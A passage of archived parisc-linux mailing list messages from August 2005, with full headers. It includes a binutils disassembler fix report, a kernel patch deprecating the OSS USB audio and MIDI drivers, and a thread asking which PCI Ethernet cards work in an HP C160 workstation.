	Sat, 13 Aug 2005 19:32:02 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 71F1C7D6BE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Aug 2005 19:32:02 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7E1W1nV011259; Sat, 13 Aug 2005 21:32:01 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7E1W0KF011257;
	Sat, 13 Aug 2005 21:32:00 -0400 (EDT)
In-Reply-To: <20050812180551.GA32609@colo.lackof.org> from "Grant Grundler" at
	Aug 12, 2005 12:05:51 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TfqMYgEJeSEkXr6WZHQhaXN1IGRvb0As
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23063

> > > Odd that it uses "rp" for the insn at 101068ac and "%r2"
> > > for the b,l insn at 101068a4.
> > 
> > I'll look at it.  It's a small inconsistency in hppa-dis.c,
> > affecting objdump, etc.
> 
> ok. minor problem though.

This is now fixed in binutils head along with a couple of other
special cases where we printed '%' before register names.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@stusta.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [2.6 patch] schedule OSS USB drivers for removal
Date: Sun, 14 Aug 2005 13:00:58 +0200
Lines: 110
Approved: news@gmane.org
Message-ID: <20050814110058.GD8393__31380.6494152688$1416623894$gmane$org@stusta.de>
References: <20050729153226.GE3563@stusta.de>
	<1123607633.5601.7.camel@mindpipe>
	<20050809174906.GA4006@stusta.de>
	<1123876729.12680.45.camel@mindpipe>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623894 16381 80.91.229.3 (22 Nov 2014 02:38:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 alsa-devel@alsa-project.org,
 zab@zabbo.net,
 Christoph Eckert <ce@christeck.de>,
 zaitcev@yahoo.com,
 kyle@parisc-linux.org,
 James@superbug.demon.co.uk,
 gregkh@suse.de,
 linux-kernel@vger.kernel.org,
 linux-sound@vger.kernel.org,
 sailer@ife.ee.ethz.ch,
 Thorsten Knabe <linux@thorsten-knabe.de>,
 NAGANO Daisuke <breeze.nagano@nifty.ne.jp>,
 jgarzik@pobox.com,
 perex@suse.cz,
 linux-usb-devel@lists.sourceforge.net
To: Lee Revell <rlrevell@joe-job.com>,
 Andrew Morton <akpm@osdl.org>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Aug 2005 11:01:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 14 Aug 2005 13:01:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CEBAA7D6CD;
	Sun, 14 Aug 2005 05:01:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22767-07; Sun, 14 Aug 2005 05:01:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B2AED7D6D0;
	Sun, 14 Aug 2005 05:01:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 606797D6CA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Aug 2005 05:01:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22631-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Aug 2005 05:01:02 -0600 (MDT)
Original-Received: from mailout.stusta.mhn.de (emailhub.stusta.mhn.de [141.84.69.5])
	by free.linux.hp.com (Postfix) with SMTP id 629167D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Aug 2005 05:01:02 -0600 (MDT)
Original-Received: (qmail 8944 invoked from network); 14 Aug 2005 11:01:00 -0000
Original-Received: from r063144.stusta.swh.mhn.de (10.150.63.144)
	by mailhub.stusta.mhn.de with SMTP; 14 Aug 2005 11:01:00 -0000
Original-Received: by r063144.stusta.swh.mhn.de (Postfix, from userid 1000)
	id 98005BB57E; Sun, 14 Aug 2005 13:00:58 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1123876729.12680.45.camel@mindpipe>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: L0GNYroceSEkQL6WZHQhaXN1IGRvbwBH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23064

On Fri, Aug 12, 2005 at 03:58:48PM -0400, Lee Revell wrote:
> On Tue, 2005-08-09 at 19:49 +0200, Adrian Bunk wrote:
> > On Tue, Aug 09, 2005 at 01:13:51PM -0400, Lee Revell wrote:
> > > On Fri, 2005-07-29 at 17:32 +0200, Adrian Bunk wrote:
> > > > This patch schedules obsolete OSS drivers (with ALSA drivers that 
> > > > support the same hardware) for removal.
> > > > 
> > > > Scheduling the via82cxxx driver for removal was ACK'ed by Jeff Garzik.
> > > > 
> > > 
> > > Someone on linux-audio-user just pointed out that the OSS USB audio and
> > > midi modules were never deprecated, much less scheduled to be removed.
> > > 
> > > Maybe the best way to deprecate them is to move them to Sound -> OSS,
> > > that's where they belong anyway.
> > 
> > I'd deprecate them without moving them.
> > 
> 
> Here's the patch.  The bug was that CONFIG_USB_AUDIO and CONFIG_USB_MIDI
> need to depend on CONFIG_SOUND_PRIME.
>...

This doesn't deprecate them (I've deprecated only some of the options 
below CONFIG_SOUND_PRIME).

What about the patch below?

A second "deprecated OSS" option doesn't do much harm and seems to be 
the easiest solution.

cu
Adrian


<--  snip  -->


Deprecate the OSS USB drivers.

This patch includes spelling fixes by Lee Revell.


Signed-off-by: Adrian Bunk <bunk@stusta.de>

---

 Documentation/feature-removal-schedule.txt |    2 +-
 drivers/usb/class/Kconfig                  |   21 ++++++++++++++++++---
 2 files changed, 19 insertions(+), 4 deletions(-)

--- linux-2.6.13-rc5-mm1-full/Documentation/feature-removal-schedule.txt.old	2005-08-14 12:53:46.000000000 +0200
+++ linux-2.6.13-rc5-mm1-full/Documentation/feature-removal-schedule.txt	2005-08-14 12:54:01.000000000 +0200
@@ -42,7 +42,7 @@
 
 ---------------------------
 
-What:	drivers depending on OBSOLETE_OSS_DRIVER
+What:	drivers depending on OBSOLETE_OSS_DRIVER or OBSOLETE_OSS_USB_DRIVER
 When:	October 2005
 Why:	OSS drivers with ALSA replacements
 Who:	Adrian Bunk <bunk@stusta.de>
--- linux-2.6.13-rc5-mm1-full/drivers/usb/class/Kconfig.old	2005-08-14 12:47:29.000000000 +0200
+++ linux-2.6.13-rc5-mm1-full/drivers/usb/class/Kconfig	2005-08-14 12:54:52.000000000 +0200
@@ -4,9 +4,22 @@
 comment "USB Device Class drivers"
 	depends on USB
 
+config OBSOLETE_OSS_USB_DRIVER
+	bool "Obsolete OSS USB drivers"
+	depends on USB && SOUND
+	help
+	  This option enables support for the obsolete USB Audio and Midi
+	  drivers that are scheduled for removal in the near future since
+	  there are ALSA drivers for the same hardware.
+
+	  Please contact Adrian Bunk <bunk@stusta.de> if you had to
+	  say Y here because of missing support in the ALSA drivers.
+
+	  If unsure, say N.
+
 config USB_AUDIO
 	tristate "USB Audio support"
-	depends on USB && SOUND
+	depends on USB && SOUND && OBSOLETE_OSS_USB_DRIVER
 	help
 	  Say Y here if you want to connect USB audio equipment such as
 	  speakers to your computer's USB port. You only need this if you use
@@ -40,10 +53,12 @@
 
 config USB_MIDI
 	tristate "USB MIDI support"
-	depends on USB && SOUND
+	depends on USB && SOUND && OBSOLETE_OSS_USB_DRIVER
 	---help---
 	  Say Y here if you want to connect a USB MIDI device to your
-	  computer's USB port. This driver is for devices that comply with
+	  computer's USB port.  You only need this if you use the OSS
+	  sound system; USB MIDI devices are supported by ALSA's USB
+	  audio driver. This driver is for devices that comply with
 	  'Universal Serial Bus Device Class Definition for MIDI Device'.
 
 	  The following devices are known to work:

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PCI card in C160
Date: Mon, 15 Aug 2005 00:28:08 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <430035F8.9040900@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623894 16383 80.91.229.3 (22 Nov 2014 02:38:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Aug 2005 06:34:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 15 Aug 2005 08:34:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AA5637D6A6;
	Mon, 15 Aug 2005 00:34:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28509-08; Mon, 15 Aug 2005 00:34:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A8DB67D6AB;
	Mon, 15 Aug 2005 00:34:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 059237D6A5
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 00:34:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28509-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 00:34:29 -0600 (MDT)
Original-Received: from pd4mo3so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id 6E8017D6A4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 00:34:29 -0600 (MDT)
Original-Received: from pd4mr3so.prod.shaw.ca
	(pd4mr3so-qfe3.prod.shaw.ca [10.0.141.214]) by l-daemon
	(Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004))
	with ESMTP id <0IL900D873B03L10@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Mon, 15 Aug 2005 00:28:12 -0600 (MDT)
Original-Received: from pn2ml2so.prod.shaw.ca ([10.0.121.146])
	by pd4mr3so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0IL90074R3B0WF10@pd4mr3so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Mon, 15 Aug 2005 00:28:12 -0600 (MDT)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28
	2003)) with ESMTP id <0IL900J553B0MZ@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Mon, 15 Aug 2005 00:28:12 -0600 (MDT)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	j7F6S8td001467	for
	<parisc-linux@lists.parisc-linux.org>; Mon, 15 Aug 2005 00:28:08 -0600
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.92.0.0
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 11JyY/AzeSEkab6WZHQhaXN1IGRvbwA7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23065

I am trying to put an Ethernet card into my new (to me) C160 without any
success.  Any time I put a PCI card in, the machine refused to boot and
gives me the message:

   *****
   ***** Disabled the PCI USB card in slot 3.
   *****
   * *   An unsupported PCI I/O configuration has been detected. * *
   * *   Contact your HP service representative for warranty     * *
   * *   service to enable the card(s) listed above.             * *

I had no trouble with putting a card in my B132L, but it seems to be
more forgiving of hardware.  It has a 5v PCI bus where the C160 is 3.3v.

I've tried two different Ethernet cards and also a USB card I had lying
around - every card I have that was keyed for 3.3v.

I've updated to the latest firmware with no change.

I know this is a little off topic for the list, but it's my guess that
not very many other people except Linux users are putting weird hardware
in their PARISC workstations.

Anyways, if anyone knows of ethernet cards that will work on a C160 - if
you have similar hardware and a success story - I would appreciate
hearing about it.

	Kurt.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI card in C160
Date: Mon, 15 Aug 2005 07:51:57 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <e6eae0290508142351585ba614@mail.gmail.com>
References: <430035F8.9040900@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623894 16385 80.91.229.3 (22 Nov 2014 02:38:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kurt Fitzner <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Aug 2005 06:52:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 15 Aug 2005 08:52:07 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 924DC7D6BC;
	Mon, 15 Aug 2005 00:52:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28848-07; Mon, 15 Aug 2005 00:52:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E0537D6BF;
	Mon, 15 Aug 2005 00:52:03 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C59A67D6BC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 00:51:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28848-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 00:51:59 -0600 (MDT)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.202])
	by free.linux.hp.com (Postfix) with ESMTP id 2EB9C7D665
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 00:51:59 -0600 (MDT)
Original-Received: by wproxy.gmail.com with SMTP id i2so938112wra
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Aug 2005 23:51:58 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=HCSx32H4e7Tj9ffBwG8crZ6uu7tt8rxyTNcP/tsBBWOK4lqKu2leILemsYxbcMvX2LBgfsfVoKk+VJj5JobFXC2t72DAkb18MdBGphfzbttDuFqtVM1mRCbHl5hGf1ifRXRccVgkmqZQY2HMLZogVc0qsoqk5qifUu3O6f/AQ2Y=
Original-Received: by 10.54.34.61 with SMTP id h61mr3442255wrh;
	Sun, 14 Aug 2005 23:51:57 -0700 (PDT)
Original-Received: by 10.54.57.24 with HTTP; Sun, 14 Aug 2005 23:51:57 -0700 (PDT)
In-Reply-To: <430035F8.9040900@excelcia.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wF5yY8hOeSEkS76WZHQhaXN1IGRvb4BW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23066

On 15/08/05, Kurt Fitzner <kfitzner@excelcia.org> wrote:
> I am trying to put an Ethernet card into my new (to me) C160 without any
> success.  Any time I put a PCI card in, the machine refused to boot and
> gives me the message:
>=20
>    *****
>    ***** Disabled the PCI USB card in slot 3.
>    *****
>    * *   An unsupported PCI I/O configuration has been detected. * *
>    * *   Contact your HP service representative for warranty     * *
>    * *   service to enable the card(s) listed above.             * *

Errm, I can't say for sure, but IIRC there was a time when HP thought
it is useful to just allow HP certified/supported PCI cards to run in
their workstations.
Perhaps someone else can elaborate on that topic?

> I had no trouble with putting a card in my B132L, but it seems to be
> more forgiving of hardware.  It has a 5v PCI bus where the C160 is 3.3v.
>=20
> I've tried two different Ethernet cards and also a USB card I had lying
> around - every card I have that was keyed for 3.3v.

Well, many cards are universal, ie. keyed for both 3.3v and 5v.

> I've updated to the latest firmware with no change.
>=20
> I know this is a little off topic for the list, but it's my guess that
> not very many other people except Linux users are putting weird hardware
> in their PARISC workstations.
>=20
> Anyways, if anyone knows of ethernet cards that will work on a C160 - if
> you have similar hardware and a success story - I would appreciate
> hearing about it.

I can't speak about C160, but in my C240 I was able to use a
DEC tulip and also a Intel EtherExpress PRO 100.
I didn't have so much luck with a noname ne2k and some 3com Vortex,
but it was about 3-4 years ago since I last tried ...
Anyway I think a DEC Tulip card should be your best bet.

   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI card in C160
Date: Mon, 15 Aug 2005 08:01:29 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <e6eae02905081500015824bbf1@mail.gmail.com>
References: <430035F8.9040900@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623895 16387 80.91.229.3 (22 Nov 2014 02:38:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kurt Fitzner <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Aug 2005 07:01:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 15 Aug 2005 09:01:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A97E17D6DC;
	Mon, 15 Aug 2005 01:01:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29050-05; Mon, 15 Aug 2005 01:01:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EFCB67D6E1;
	Mon, 15 Aug 2005 01:01:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 211247D6CD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Aug 2005 01:01:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
